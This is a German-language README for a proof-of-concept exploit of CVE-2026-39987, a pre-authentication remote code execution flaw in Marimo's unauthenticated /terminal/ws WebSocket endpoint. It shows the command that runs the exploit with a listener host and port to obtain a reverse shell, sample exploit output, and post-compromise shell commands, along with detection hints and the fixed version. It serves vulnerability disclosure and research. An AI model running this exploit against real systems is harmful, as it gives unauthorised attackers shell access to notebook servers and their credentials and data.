
Proof-of-Concept-Exploit für die Pre-Authentication-RCE von Marimo. Nutzt den nicht authentifizierten WebSocket-Endpunkt /terminal/ws, um eine PTY zu erzeugen und eine Reverse-Shell aufzubauen.
CVE-2026-39987 ist eine kritische Remote-Code-Ausführung (RCE) vor der Authentifizierung, die Marimo, eine reaktive Python-Notebook-Umgebung, betrifft.
Die Schwachstelle befindet sich im Terminal-WebSocket-Endpunkt von Marimo:
/terminal/ws
Der Endpunkt hat die Authentifizierung vor der Erstellung einer Terminalsitzung nicht ordnungsgemäß erzwungen. Infolgedessen kann ein nicht authentifizierter entfernter Angreifer, der eine verwundbare Marimo-Instanz erreichen kann, eine WebSocket-Verbindung aufbauen und eine interaktive PTY-Shell erhalten.
Es sind keine gültigen Anmeldedaten erforderlich.
| Eigenschaft | Wert |
|---|---|
| CVE | CVE-2026-39987 |
| Produkt | Marimo |
| Schwachstelle | Remote-Code-Ausführung vor der Authentifizierung |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Nicht erforderlich |
| Benutzerinteraktion | Nicht erforderlich |
| CWE | CWE-306 — Fehlende Authentifizierung für kritische Funktion |
| Schweregrad | Kritisch |
| Behobene Version | 0.23.0 |
Die Schwachstelle wurde durch eine inkonsistente Durchsetzung der Authentifizierung zwischen den WebSocket-Endpunkten von Marimo verursacht.
Während andere WebSocket-Funktionen eine Authentifizierungsprüfung durchführen, konnte der verwundbare /terminal/ws-Endpunkt eine Verbindung akzeptieren, ohne zuvor den Aufrufer zu validieren.
Der verwundbare Terminal-Endpunkt erstellt nach dem Akzeptieren einer WebSocket-Verbindung ein interaktives PTY.
Konzeptionell sieht der verwundbare Anforderungsablauf wie folgt aus:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
Die wichtige Sicherheitsgrenze ist die fehlende Authentifizierungsprüfung.
Ein Endpunkt, der die Ausführung beliebiger Befehle ermöglicht, darf es einem nicht authentifizierten Client nicht erlauben, bis zur PTY-Erstellungslogik zu gelangen.
Eine erfolgreiche Ausnutzung kann die Ausführung beliebiger Befehle mit den Rechten des Marimo-Prozesses ermöglichen.
Abhängig von der Bereitstellungskonfiguration kann dies einem Angreifer Folgendes ermöglichen:
Die Auswirkungen sind für Notebook-Umgebungen besonders erheblich, da diese häufig Zugriff auf Datensätze, APIs, Anmeldedaten, Cloud-Ressourcen und Entwicklungsinfrastruktur haben.
Warnung: Führen Sie den PoC nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich zum Testen autorisiert sind.
Dieses Repository enthält einen PoC zur Demonstration der Schwachstelle in einer kontrollierten Umgebung.
Das folgende Beispiel zeigt die Ausnutzung gegen eine lokale/Labor-Instanz.
Zum Beispiel:
http://127.0.0.1:8081
Die verwundbare Marimo-Instanz sollte ausgeführt werden, bevor der PoC gestartet wird.
Beispiel:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Wobei:
-u Target Marimo instance
--host Listener IP
--port Listener port
Der PoC stellt die verwundbare Terminalverbindung her und wartet auf die daraus resultierende Shell-Verbindung.
Beispielausgabe:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
Nach erfolgreicher Ausnutzung erhält der Angreifer eine Shell, die mit den Rechten des Marimo-Prozesses läuft.
whoami
Beispiel:
marimo
id
Beispiel:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Dies zeigt, dass beliebige Befehle remote als das Konto marimo ausgeführt werden.
Der PoC kann auch den Zugriff auf das Dateisystem demonstrieren, das dem kompromittierten Prozess zur Verfügung steht.
ls -la
Beispiel:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Wechseln zum Dateisystem-Rootverzeichnis:
cd /
ls
Beispiel:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Dies bestätigt, dass die Remote-Shell normalen Dateisystemzugriff hat, vorbehaltlich der Rechte und Container-Einschränkungen des Marimo-Prozesses.
Die vollständige Schwachstellenkette lässt sich wie folgt zusammenfassen:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
Der kritische Sicherheitsfehler tritt bei Schritt 3 auf.
Mögliche Anzeichen einer Ausnutzung sind unerwartete WebSocket-Verbindungen zu:
/terminal/ws
sowie ungewöhnliche Prozessaktivitäten, die vom Marimo-Server ausgehen.
Verteidiger sollten Folgendes untersuchen:
Aktualisieren Sie Marimo auf eine behobene Version:
0.23.0 or later
Zusätzlich:
/terminal/ws-Aktivitäten.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Dieses Projekt wird für Sicherheitsforschung, Schwachstellenvalidierung und Bildungszwecke bereitgestellt. Verwenden Sie den PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.